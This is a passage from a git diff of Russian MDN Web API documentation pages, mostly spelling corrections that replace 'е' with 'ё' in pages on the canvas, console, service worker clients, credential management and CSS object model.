<div class="hidden"> <h6 id="Playable_code">Playable code</h6> diff --git a/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html b/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html index a09679cce0..6d51e49f08 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/strokestyle/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/strokeStyle --- <div>{{APIRef}}</div> -<p>Свойство<strong> </strong><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeStyle</code></strong>, предоставляемое Canvas 2D API задает цвет или стиль, используемый при выполнении обводки фигур. По умолчанию установлено значение <code>#000</code> (черный цвет).</p> +<p>Свойство<strong> </strong><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeStyle</code></strong>, предоставляемое Canvas 2D API задаёт цвет или стиль, используемый при выполнении обводки фигур. По умолчанию установлено значение <code>#000</code> (чёрный цвет).</p> <p>См. также главу <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html b/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html index 4f7390f7cb..53126b08ed 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/strokeText --- <div>{{APIRef}}</div> -<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeText(),</code></strong> предоставляемый Canvas 2D API, выполняет обводку заданного текста в заданной позиции (<em>x, y</em>). Если указан необязательный четвертый параметр, текст будет масштабироваться в соответствие с указанной максимальной шириной.</p> +<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeText(),</code></strong> предоставляемый Canvas 2D API, выполняет обводку заданного текста в заданной позиции (<em>x, y</em>). Если указан необязательный четвёртый параметр, текст будет масштабироваться в соответствие с указанной максимальной шириной.</p> <p>См. также метод {{domxref("CanvasRenderingContext2D.fillText()")}} для заливки контуров текста.</p> diff --git a/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html b/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html index 306558fa51..722612b831 100644 --- a/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html +++ b/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html @@ -56,7 +56,7 @@ ctx.textAlign = 'left'; ctx.strokeText('Hello world', 0, 100); </pre> -<p>Отредактируйте приведенный ниже код и посмотрите, как обновляется ваше обновление на холсте:</p> +<p>Отредактируйте приведённый ниже код и посмотрите, как обновляется ваше обновление на холсте:</p> <div class="hidden"> <h6 id="Playable_code" name="Playable_code">Playable code</h6> diff --git a/files/ru/web/api/cdatasection/index.html b/files/ru/web/api/cdatasection/index.html index e660a2c42a..ab6f0be9d9 100644 --- a/files/ru/web/api/cdatasection/index.html +++ b/files/ru/web/api/cdatasection/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/CDATASection <pre class="brush:xml"><foo>Here is a CDATA section: <![CDATA[ < > & ]]> with all kinds of unescaped text. </foo> </pre> -<p>Единственная последовательность (символов), не разрешенная внутри раздела CDATA - это сами символы закрытия раздела CDATA:</p> +<p>Единственная последовательность (символов), не разрешённая внутри раздела CDATA - это сами символы закрытия раздела CDATA:</p> <pre class="brush:xml"><![CDATA[ ]]> will cause an error ]]> </pre> diff --git a/files/ru/web/api/characterdata/index.html b/files/ru/web/api/characterdata/index.html index 5c6d15ecdd..ccdd1d16b5 100644 --- a/files/ru/web/api/characterdata/index.html +++ b/files/ru/web/api/characterdata/index.html @@ -30,7 +30,7 @@ translation_of: Web/API/CharacterData <dl> <dt>{{domxref("CharacterData.appendData()")}}</dt> - <dd>Добавляет указанную {{domxref("DOMString")}} к строке <code>CharacterData.data</code>; после выполнения данного метода, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">данные содержат</span></font> объединенный(элемент) {{domxref("DOMString")}}.</dd> + <dd>Добавляет указанную {{domxref("DOMString")}} к строке <code>CharacterData.data</code>; после выполнения данного метода, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">данные содержат</span></font> объединённый(элемент) {{domxref("DOMString")}}.</dd> <dt>{{domxref("CharacterData.deleteData()")}}</dt> <dd>Удаляет указанное количество символов, начиная с указанного отступа, из строки <code>CharacterData.data</code>; после выполнения метода, данные(<code>data)</code> содержат урезанный {{domxref("DOMString")}}.</dd> <dt>{{domxref("CharacterData.insertData()")}}</dt> diff --git a/files/ru/web/api/childnode/index.html b/files/ru/web/api/childnode/index.html index 0d1ebf46ec..f2367222f7 100644 --- a/files/ru/web/api/childnode/index.html +++ b/files/ru/web/api/childnode/index.html @@ -47,7 +47,7 @@ translation_of: Web/API/ChildNode <tr> <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}</td> <td>{{Spec2('DOM WHATWG')}}</td> - <td>Интерфейс <code>ElementTraversal</code> разделен на {{domxref("ParentNode")}} и <code>ChildNode</code>. Свойства <code>previousElementSibling</code> и <code>nextElementSibling</code> теперь определены в последнем.<br> + <td>Интерфейс <code>ElementTraversal</code> разделён на {{domxref("ParentNode")}} и <code>ChildNode</code>. Свойства <code>previousElementSibling</code> и <code>nextElementSibling</code> теперь определены в последнем.<br> The {{domxref("CharacterData")}} and {{domxref("DocumentType")}} implemented the new interfaces.<br> Добавлены методы <code>remove()</code>, <code>before()</code>, <code>after()</code> и <code>replaceWith()</code>.</td> </tr> diff --git a/files/ru/web/api/childnode/remove/index.html b/files/ru/web/api/childnode/remove/index.html index 5c4528f98e..786b178e24 100644 --- a/files/ru/web/api/childnode/remove/index.html +++ b/files/ru/web/api/childnode/remove/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/ChildNode/remove <p> </p> -<p>То, что элемент удален из DOM, еще не значит, что он удален совсем! </p> +<p>То, что элемент удалён из DOM, ещё не значит, что он удалён совсем! </p> <p>Он остался объектом и исчезнет только тогда, когда исчезнут все ссылки на него.</p> @@ -34,7 +34,7 @@ translation_of: Web/API/ChildNode/remove <pre class="brush: js">var elem = document.querySelector("#one"); elem.remove(); alert(document.querySelector("#box").innerHTML); //Исчез блок #one -alert(elem); //Но как видите, сам объект еще жив</pre> +alert(elem); //Но как видите, сам объект ещё жив</pre> <h2 id="Полифил">Полифил</h2> diff --git a/files/ru/web/api/clients/index.html b/files/ru/web/api/clients/index.html index 5372df8139..9d0ad8fdec 100644 --- a/files/ru/web/api/clients/index.html +++ b/files/ru/web/api/clients/index.html @@ -39,7 +39,7 @@ translation_of: Web/API/Clients for (i = 0 ; i < clients.length ; i++) { if (clients[i] === 'index.html') { clients.openWindow(clients[i]); - // или сделать что-то другое, с учетом подошедшего клиента + // или сделать что-то другое, с учётом подошедшего клиента } } });</pre> diff --git a/files/ru/web/api/clients/openwindow/index.html b/files/ru/web/api/clients/openwindow/index.html index 64d67ce7ca..78e5412005 100644 --- a/files/ru/web/api/clients/openwindow/index.html +++ b/files/ru/web/api/clients/openwindow/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Clients/openWindow --- <div>{{APIRef("Service Workers API")}}</div> -<p>Метод <strong><code>openWindow()</code></strong> интерфейса {{domxref("Clients")}} создает новый контекст просмотра верхнего уровня и загружает заданный URL. Если вызывающий скрипт не имеет разрешения на отображение всплывающих окон, <code>openWindow()</code> выдаст <code>InvalidAccessError</code>.</p> +<p>Метод <strong><code>openWindow()</code></strong> интерфейса {{domxref("Clients")}} создаёт новый контекст просмотра верхнего уровня и загружает заданный URL. Если вызывающий скрипт не имеет разрешения на отображение всплывающих окон, <code>openWindow()</code> выдаст <code>InvalidAccessError</code>.</p> <p>В Firefox этому методу разрешено отображать всплывающие окна только при вызове события клике по уведомлению.</p> @@ -59,7 +59,7 @@ self.addEventListener('notificationclick', e => { e.waitUntil(clients.matchAll({ type: 'window' }).then(clientsArr => { // Если вкладка, соответствующая целевому URL-адресу, уже существует, сфокусируйтесь на ней; const hadWindowToFocus = clientsArr.some(windowClient => windowClient.url === e.notification.data.url ? (windowClient.focus(), true) : false); - // В противном случае откройте новую вкладку для соответствующего URL-адреса и сфокусируйте ее. + // В противном случае откройте новую вкладку для соответствующего URL-адреса и сфокусируйте её. if (!hadWindowToFocus) clients.openWindow(e.notification.data.url).then(windowClient => windowClient ? windowClient.focus() : null); })); }); diff --git a/files/ru/web/api/clipboardevent/index.html b/files/ru/web/api/clipboardevent/index.html index 6078feb5c0..792f097015 100644 --- a/files/ru/web/api/clipboardevent/index.html +++ b/files/ru/web/api/clipboardevent/index.html @@ -27,7 +27,7 @@ translation_of: Web/API/ClipboardEvent <dl> <dt>{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}</dt> - <dd>Создает <code>ClipboardEvent</code> событие с переданными параметрами.</dd> + <dd>Создаёт <code>ClipboardEvent</code> событие с переданными параметрами.</dd> </dl> <h2 id="Методы">Методы</h2> diff --git a/files/ru/web/api/comment/index.html b/files/ru/web/api/comment/index.html index 1f5be83365..d262ab9a04 100644 --- a/files/ru/web/api/comment/index.html +++ b/files/ru/web/api/comment/index.html @@ -5,7 +5,7 @@ tags: - Комментарии translation_of: Web/API/Comment --- -<p>Интерфейс<span class="seoSummary"> <code><strong>Comment</strong></code> представляет собой текстовые записи в разметке; хотя, в основном, они не отображаются, такие комментарии доступны для чтения в исходном коде.</span> Комментарии представляются в HTML и XML как контент, заключенный между '<code><!--</code>' и '<code>--></code>'. В XML, последовательность символов '<code>--</code>' может не использоваться в комментариях.</p> +<p>Интерфейс<span class="seoSummary"> <code><strong>Comment</strong></code> представляет собой текстовые записи в разметке; хотя, в основном, они не отображаются, такие комментарии доступны для чтения в исходном коде.</span> Комментарии представляются в HTML и XML как контент, заключённый между '<code><!--</code>' и '<code>--></code>'. В XML, последовательность символов '<code>--</code>' может не использоваться в комментариях.</p> <p>{{InheritanceDiagram}}</p> diff --git a/files/ru/web/api/console/count/index.html b/files/ru/web/api/console/count/index.html index 32304c274f..500fec756d 100644 --- a/files/ru/web/api/console/count/index.html +++ b/files/ru/web/api/console/count/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Console/count <p>{{AvailableInWorkers}}</p> -<p>Если <code>label</code> передается в функцию, то она выводит число вызовов функции <code>count()</code> с такой же точно <code>label</code>.</p> +<p>Если <code>label</code> передаётся в функцию, то она выводит число вызовов функции <code>count()</code> с такой же точно <code>label</code>.</p> <p>Если <code>label</code> опущена, то функция выводит такое число, сколько раз была вызвана функция <code>count()</code> в этой отдельной строке.</p> @@ -64,7 +64,7 @@ console.count("alice");</pre> "alice: 2" "alice: 3"</pre> -<p>Таким образом мы сохранили различные счетчики основываясь только на значении <code>label</code>. Поскольку строка "alice" в строке 11 совпала со значением <code>user</code> дважды, это не сочлось отдельным событием.</p> +<p>Таким образом мы сохранили различные счётчики основываясь только на значении <code>label</code>. Поскольку строка "alice" в строке 11 совпала со значением <code>user</code> дважды, это не сочлось отдельным событием.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -75,7 +75,7 @@ console.count("alice");</pre> <dl> <dt><code>label</code></dt> - <dd>Строка. Если она передается, <code>count()</code> выводит такое число, которое соответствует количеству раз вызова данной функции с таким же точно <code>label</code>.</dd> + <dd>Строка. Если она передаётся, <code>count()</code> выводит такое число, которое соответствует количеству раз вызова данной функции с таким же точно <code>label</code>.</dd> </dl> <h2 id="Specifications">Specifications</h2> diff --git a/files/ru/web/api/console/countreset/index.html b/files/ru/web/api/console/countreset/index.html index 3725be4d9d..41c80c15a5 100644 --- a/files/ru/web/api/console/countreset/index.html +++ b/files/ru/web/api/console/countreset/index.html @@ -5,13 +5,13 @@ translation_of: Web/API/Console/countReset --- <div>{{APIRef("Console API")}}</div> -<p>Сбрасывает значение счетчика. Эта функция также принимает необязательный аргумент <code>label</code>.</p> +<p>Сбрасывает значение счётчика. Эта функция также принимает необязательный аргумент <code>label</code>.</p> <p>{{AvailableInWorkers}}</p> -<p>Если аргумент <code>label</code> передан, то функция сбросит счетчик связанный с этим аргументом.</p> +<p>Если аргумент <code>label</code> передан, то функция сбросит счётчик связанный с этим аргументом.</p> -<p>Если значение <code>label</code> опущено, то функция сбросит счетчик, заданий по умолчанию.</p> +<p>Если значение <code>label</code> опущено, то функция сбросит счётчик, заданий по умолчанию.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -23,8 +23,8 @@ translation_of: Web/API/Console/countReset <dl> <dt><code>label</code></dt> <dd>Строка.<br> - Если аргумент label был передан, <code>countReset()</code> сбросит к 0 счетчик для этого label.<br> - Если нет, <code>count()</code> сбросит к 0 счетчик, заданий по умолчанию.</dd> + Если аргумент label был передан, <code>countReset()</code> сбросит к 0 счётчик для этого label.<br> + Если нет, <code>count()</code> сбросит к 0 счётчик, заданий по умолчанию.</dd> </dl> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -33,17 +33,17 @@ translation_of: Web/API/Console/countReset <pre> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">counter-name: 0</span></span></span></pre> -<p>Если аргумент label не был определен:</p> +<p>Если аргумент label не был определён:</p> <pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">default: 0</span></span></span></pre> <h3 id="Исключения">Исключения</h3> -<p>Если аргумент <code>label</code> был передан, но такого счетчика не существует <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>countReset</code> вернет предупреждение:</span></span></span></p> +<p>Если аргумент <code>label</code> был передан, но такого счётчика не существует <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>countReset</code> вернёт предупреждение:</span></span></span></p> <pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>Counter "counter-name" doesn’t exist.</code></span></span></span></pre> -<p>Если аргумент <code>label</code> не был передан и <code>count()</code> не был вызван ранее, <code>countReset</code> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">вернет предупреждение</span></span></span>:</p> +<p>Если аргумент <code>label</code> не был передан и <code>count()</code> не был вызван ранее, <code>countReset</code> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">вернёт предупреждение</span></span></span>:</p> <pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>Counter "default" doesn’t exist.</code></span></span></span></pre> @@ -75,7 +75,7 @@ console.countReset();</pre> "default: 0" </pre> -<p>Заметьте, что вызов console.counterReset() сбросил до 0 значение счетчика заданного по умолчанию.</p> +<p>Заметьте, что вызов console.counterReset() сбросил до 0 значение счётчика заданного по умолчанию.</p> <p>Если мы присвоим переменную <code>user</code> как аргумент <code>label</code> при первом вызове <code>count()</code>, и строку "alice" при втором:</p> @@ -102,7 +102,7 @@ console.count("alice");</pre> "bob: 0" "alice: 3"</pre> -<p>Сброс счетчика "bob" изменил значение только этого счетчика. Значение счетчика "alice" осталось неизменно.</p> +<p>Сброс счётчика "bob" изменил значение только этого счётчика. Значение счётчика "alice" осталось неизменно.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/console/group/index.html b/files/ru/web/api/console/group/index.html index 91817d2671..aab129926f 100644 --- a/files/ru/web/api/console/group/index.html +++ b/files/ru/web/api/console/group/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Console/group --- <div>{{APIRef("Console API")}}</div> -<div>Создает новую группу сообщений в <a href="/en-US/docs/Tools/Web_Console">веб-консоли</a>. После вызова последующие сообщения, выводимые в консоль, будут иметь дополнительный уровень отступа, до тех пор пока не будет вызван метод {{domxref("console.groupEnd()")}}.</div> +<div>Создаёт новую группу сообщений в <a href="/en-US/docs/Tools/Web_Console">веб-консоли</a>. После вызова последующие сообщения, выводимые в консоль, будут иметь дополнительный уровень отступа, до тех пор пока не будет вызван метод {{domxref("console.groupEnd()")}}.</div> <p>{{AvailableInWorkers}}</p> @@ -23,9 +23,9 @@ translation_of: Web/API/Console/group <p>{{h3_gecko_minversion("Использование в веб-консоли", "9.0")}}</p> -<p>Использование групп помогает упорядочить вывод в консоль благодаря визуальной группировке связанных сообщений. Чтобы начать новый блок нужно вызвать <code>console.group()</code>. Метод <code>console.groupCollapsed()</code> работает аналогичным образом, но выведенная группа будет свернута до тех пор, пока не будет развернута по клику.</p> +<p>Использование групп помогает упорядочить вывод в консоль благодаря визуальной группировке связанных сообщений. Чтобы начать новый блок нужно вызвать <code>console.group()</code>. Метод <code>console.groupCollapsed()</code> работает аналогичным образом, но выведенная группа будет свёрнута до тех пор, пока не будет развёрнута по клику.</p> -<p><strong>Примечание:</strong> Начиная с 9 по 51 версию Gecko, метод <code>groupCollapsed()</code> работал как метод <code>group()</code>. Свернутые группы поддерживаются с версии Gecko 52. См. {{bug("1088360")}}.</p> +<p><strong>Примечание:</strong> Начиная с 9 по 51 версию Gecko, метод <code>groupCollapsed()</code> работал как метод <code>group()</code>. Свёрнутые группы поддерживаются с версии Gecko 52. См. {{bug("1088360")}}.</p> <p>Чтобы прекратить вывод в группу, требуется вызвать <code>console.groupEnd()</code>. К примеру, следующий код:</p> diff --git a/files/ru/web/api/console/index.html b/files/ru/web/api/console/index.html index c3fb2b5c03..2ce6130800 100644 --- a/files/ru/web/api/console/index.html +++ b/files/ru/web/api/console/index.html @@ -32,12 +32,12 @@ translation_of: Web/API/Console <dt>{{domxref("Console.clear()")}}</dt> <dd>Очистка консоли.</dd> <dt>{{domxref("Console.count()")}}</dt> - <dd>Выводит количество вызовов метода с определенной меткой (передаётся в параметре метода)</dd> + <dd>Выводит количество вызовов метода с определённой меткой (передаётся в параметре метода)</dd> </dl> <dl> <dt>{{domxref("Console.countReset()")}}</dt> - <dd>Обнуляет значение счетчика с заданным значением.</dd> + <dd>Обнуляет значение счётчика с заданным значением.</dd> </dl> <dl> @@ -198,7 +198,7 @@ console.debug("Back to the outer level"); <p>{{h3_gecko_minversion("Timers", "10.0")}}</p> -<p>Для расчета длительности определённых операций в Gecko 10 введена поддержка таймеров в объекте <code>console</code>. Для запуска таймера вызовите функцию <code>console.time</code><code>(),</code> при этом в качестве параметра передайте название таймера. Для остановки таймера и для получения прошедшего времени в миллисекундах вызовите <code>console.timeEnd()</code>, передав в качестве параметра имя таймера. На странице можно запустить до 10000 таймеров одновременно.</p> +<p>Для расчёта длительности определённых операций в Gecko 10 введена поддержка таймеров в объекте <code>console</code>. Для запуска таймера вызовите функцию <code>console.time</code><code>(),</code> при этом в качестве параметра передайте название таймера. Для остановки таймера и для получения прошедшего времени в миллисекундах вызовите <code>console.timeEnd()</code>, передав в качестве параметра имя таймера. На странице можно запустить до 10000 таймеров одновременно.</p> <p>Рассмотрим пример:</p> diff --git a/files/ru/web/api/console/time/index.html b/files/ru/web/api/console/time/index.html index bf32c8aff0..fa58e27207 100644 --- a/files/ru/web/api/console/time/index.html +++ b/files/ru/web/api/console/time/index.html @@ -49,7 +49,7 @@ translation_of: Web/API/Console/time <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается на основе структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте этот сайт <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на изменение.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся на основе структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте этот сайт <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на изменение.</div> <p>{{Compat("api.Console.time")}}</p> diff --git a/files/ru/web/api/console/timelog/index.html b/files/ru/web/api/console/timelog/index.html index e7229e836e..cfc1bf6eca 100644 --- a/files/ru/web/api/console/timelog/index.html +++ b/files/ru/web/api/console/timelog/index.html @@ -52,7 +52,7 @@ alert("Делаем кучу другой работы..."); console.timeEnd("answer time"); </pre> -<p>Отчет таймера начинается с момента вызова <code>console.time()</code>. Сначала выводится время от начала отсчета до закрытия первого уведомления. Затем выводится время с начала отсчета до закрытия второго уведомления:</p> +<p>Отчёт таймера начинается с момента вызова <code>console.time()</code>. Сначала выводится время от начала отсчёта до закрытия первого уведомления. Затем выводится время с начала отсчёта до закрытия второго уведомления:</p> <p><img alt="timerresult.png" class="default internal" src="https://mdn.mozillademos.org/files/16113/console-timeLog.png" style="border: 1px solid black; height: 102px; margin: 0 auto; width: 318px;"></p> diff --git a/files/ru/web/api/console/trace/index.html b/files/ru/web/api/console/trace/index.html index 0d092339d5..6fe5c9b9e0 100644 --- a/files/ru/web/api/console/trace/index.html +++ b/files/ru/web/api/console/trace/index.html @@ -28,7 +28,7 @@ translation_of: Web/API/Console/trace foo(); </pre> -<p>В консоли следующий трэйс будет отображен так:</p> +<p>В консоли следующий трэйс будет отображён так:</p> <pre>bar foo diff --git a/files/ru/web/api/credential_management_api/index.html b/files/ru/web/api/credential_management_api/index.html index ca89368687..671d32cf45 100644 --- a/files/ru/web/api/credential_management_api/index.html +++ b/files/ru/web/api/credential_management_api/index.html @@ -13,19 +13,19 @@ translation_of: Web/API/Credential_Management_API --- <p>{{DefaultAPISidebar("Credential Management API")}}{{ SeeCompatTable() }}</p> -<p class="summary">The Credential Management API (API управления учетными данными) позволяет веб-сайту хранить и извлекать учетные данные пользователя, федеративного ключа и открытого ключа. Эти возможности позволяют пользователям входить в систему без ввода паролей, видеть федеративную учетную запись, которую они использовали для входа на сайт, и возобновлять сеанс без явного входа в систему с истекшим сроком действия.</p> +<p class="summary">The Credential Management API (API управления учётными данными) позволяет веб-сайту хранить и извлекать учётные данные пользователя, федеративного ключа и открытого ключа. Эти возможности позволяют пользователям входить в систему без ввода паролей, видеть федеративную учётную запись, которую они использовали для входа на сайт, и возобновлять сеанс без явного входа в систему с истёкшим сроком действия.</p> -<h2 id="Концепции_и_использование_учетных_данных">Концепции и использование учетных данных</h2> +<h2 id="Концепции_и_использование_учётных_данных">Концепции и использование учётных данных</h2> -<p>Этот API позволяет веб-сайтам взаимодействовать с системой паролей пользовательского агента (user agent’s password system), чтобы веб-сайты могли одинаково работать с учетными данными сайта, а пользовательские агенты могли оказывать лучшую поддержку в управлении своими учетными данными. Например, пользовательским агентам особенно трудно иметь дело с федеративными поставщиками удостоверений или эзотерическими механизмами входа (esoteric sign-in), которые используют больше данных, чем просто имя пользователя и пароль. Для решения этих проблем API предоставляет веб-сайту способы хранения и извлечения различных типов учетных данных. Это дает пользователям такие возможности, как просмотр федеративной учетной записи, которую они использовали для входа на сайт, или возобновление сеанса без явного потока входа в систему с истекшим сроком действия.</p> +<p>Этот API позволяет веб-сайтам взаимодействовать с системой паролей пользовательского агента (user agent’s password system), чтобы веб-сайты могли одинаково работать с учётными данными сайта, а пользовательские агенты могли оказывать лучшую поддержку в управлении своими учётными данными. Например, пользовательским агентам особенно трудно иметь дело с федеративными поставщиками удостоверений или эзотерическими механизмами входа (esoteric sign-in), которые используют больше данных, чем просто имя пользователя и пароль. Для решения этих проблем API предоставляет веб-сайту способы хранения и извлечения различных типов учётных данных. Это даёт пользователям такие возможности, как просмотр федеративной учётной записи, которую они использовали для входа на сайт, или возобновление сеанса без явного потока входа в систему с истёкшим сроком действия.</p> <div class="note"> <p>Этот API ограничен контекстами верхнего уровня. Вызовы <code>get()</code> и <code>store()</code> внутри элемента <code><iframe></code> выполняться без эффекта.</p> </div> -<h3 id="Учетные_данные_общие_для_поддомена">Учетные данные, общие для поддомена</h3> +<h3 id="Учётные_данные_общие_для_поддомена">Учётные данные, общие для поддомена</h3> -<p>Более поздняя версия спецификации позволяет получать учетные данные из другого поддомена. Например, пароль, хранящийся в <code>login.example.com</code>, может использоваться для входа на <code>www.example.com</code>. Чтобы это использовать, пароль должен быть явно сохранен путем вызова {{domxref("CredentialsContainer.store()")}}. Иногда это называют сопоставлением с общедоступным списком суффиксов (PSL); однако спецификация <em>рекомендует</em> использовать PSL только для определения действующей области учетных данных. Это не обязательно. Следовательно, браузеры могут различаться реализацией API.</p> +<p>Более поздняя версия спецификации позволяет получать учётные данные из другого поддомена. Например, пароль, хранящийся в <code>login.example.com</code>, может использоваться для входа на <code>www.example.com</code>. Чтобы это использовать, пароль должен быть явно сохранён путём вызова {{domxref("CredentialsContainer.store()")}}. Иногда это называют сопоставлением с общедоступным списком суффиксов (PSL); однако спецификация <em>рекомендует</em> использовать PSL только для определения действующей области учётных данных. Это не обязательно. Следовательно, браузеры могут различаться реализацией API.</p> <h2 id="Интерфейсы">Интерфейсы</h2> @@ -33,13 +33,13 @@ translation_of: Web/API/Credential_Management_API <dt>{{domxref("Credential")}}</dt> <dd>Предоставляет информацию о сущности в качестве предварительного условия для принятия решения о доверии.</dd> <dt>{{domxref("CredentialsContainer")}}</dt> - <dd>Предоставляет методы для запроса учетных данных и уведомления пользовательского агента, когда происходят события, например успешный вход или выход. Этот интерфейс доступен в <code>navigator.credentials</code>.</dd> + <dd>Предоставляет методы для запроса учётных данных и уведомления пользовательского агента, когда происходят события, например успешный вход или выход. Этот интерфейс доступен в <code>navigator.credentials</code>.</dd> <dt>{{domxref("FederatedCredential")}}</dt> - <dd>Предоставляет информацию об учетных данных от федеративного поставщика идентификации (объект), которому веб-сайт доверяет для правильной аутентификации пользователя и который предоставляет API для этой цели. <a href="http://openid.net/developers/specs/">OpenID Connect</a> является примером такой структуры.</dd> + <dd>Предоставляет информацию об учётных данных от федеративного поставщика идентификации (объект), которому веб-сайт доверяет для правильной аутентификации пользователя и который предоставляет API для этой цели. <a href="http://openid.net/developers/specs/">OpenID Connect</a> является примером такой структуры.</dd> <dt>{{domxref("PasswordCredential")}}</dt> <dd>Предоставляет информацию о паре имени пользователя и пароля.</dd> <dt>{{domxref("PublicKeyCredential")}}</dt> - <dd>Предоставляет учетные данные для входа в систему с использованием пары асимметричных ключей, устойчивых к фишингу и защите от взлома данных, вместо пароля.</dd> + <dd>Предоставляет учётные данные для входа в систему с использованием пары асимметричных ключей, устойчивых к фишингу и защите от взлома данных, вместо пароля.</dd> </dl> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/css_object_model/index.html b/files/ru/web/api/css_object_model/index.html index c9d2a9c8d6..6d2bebe453 100644 --- a/files/ru/web/api/css_object_model/index.html +++ b/files/ru/web/api/css_object_model/index.html @@ -199,7 +199,7 @@ translation_of: Web/API/CSS_Object_Model <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p>Все эти функции постепенно добавлялись в разные браузеры постепенно: это был довольно сложный процесс, который не может быть сведен в простую таблицу. Пожалуйста, обратитесь к конкретным интерфейсам для его доступности.</p> +<p>Все эти функции постепенно добавлялись в разные браузеры постепенно: это был довольно сложный процесс, который не может быть сведён в простую таблицу. Пожалуйста, обратитесь к конкретным интерфейсам для его доступности.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/css_object_model/managing_screen_orientation/index.html b/files/ru/web/api/css_object_model/managing_screen_orientation/index.html index 72ded83a4c..9fcf3ecf06 100644 --- a/files/ru/web/api/css_object_model/managing_screen_orientation/index.html +++ b/files/ru/web/api/css_object_model/managing_screen_orientation/index.html @@ -11,7 +11,7 @@ original_slug: Web/API/CSS_Object_Model/ориентация_экрана <p>{{DefaultAPISidebar("Screen Orientation API")}}{{SeeCompatTable}}</p> <p>Ориентация экрана не идентична <a href="/en-US/docs/WebAPI/Detecting_device_orientation">ориентации устройства</a>. -Даже если устройство не способно определить свое положение в пространстве — экран может всегда. А когда устройство знает свою ориентацию, хорошо бы иметь возможность управлять ориентацией экрана для +Даже если устройство не способно определить своё положение в пространстве — экран может всегда. А когда устройство знает свою ориентацию, хорошо бы иметь возможность управлять ориентацией экрана для сохранения или адаптации интерфейса веб-приложения.</p> <p>Управление ориентацией экрана доступно в CSS и JavaScript. @@ -77,7 +77,7 @@ li { } </pre> -<p>Теперь разберемся с поведением страницы в различных случаях ориентации.</p> +<p>Теперь разберёмся с поведением страницы в различных случаях ориентации.</p> <pre class="brush: css notranslate">/* Для портретного режима отправим панель на верхнюю часть области отображения */ @@ -138,7 +138,7 @@ li { </div> <p>Некоторые устройства (в основном мобильные) могут изменять ориентацию экрана в соответствии с ориентацией самого устройства для удобства восприятия информации пользователем. -Это хорошо подходит для текста, но на некоторое содержимое такое поведение может оказать негативное воздействие. Например, это трагичная ситуация для игры, разработанной под определенную ориентацию.</p> +Это хорошо подходит для текста, но на некоторое содержимое такое поведение может оказать негативное воздействие. Например, это трагичная ситуация для игры, разработанной под определённую ориентацию.</p> <p>Урегулировать вопрос, связанный с изменением положения экрана, поможет интерфейс Screen Orientation API.</p> diff --git a/files/ru/web/api/cssrule/index.html b/files/ru/web/api/cssrule/index.html index 5a88b7c8c2..76b240cde2 100644 --- a/files/ru/web/api/cssrule/index.html +++ b/files/ru/web/api/cssrule/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/CSSRule <p>Интерфейс <strong>CSSRule </strong>представляет собой одно правило CSS. Есть несколько типов правил, перечисленных в разделе {{anch("Type constants")}} ниже.</p> -<p>Интерфейс CSSRule определяет общие свойства для всех правил, в то время как свойства характерные только для определенных типов правил указаны в более специализированных интерфейсах для соответствующих типов этих правил.</p> +<p>Интерфейс CSSRule определяет общие свойства для всех правил, в то время как свойства характерные только для определённых типов правил указаны в более специализированных интерфейсах для соответствующих типов этих правил.</p> <p>Ссылки на CSSRule вы можете получить на странице {{domxref 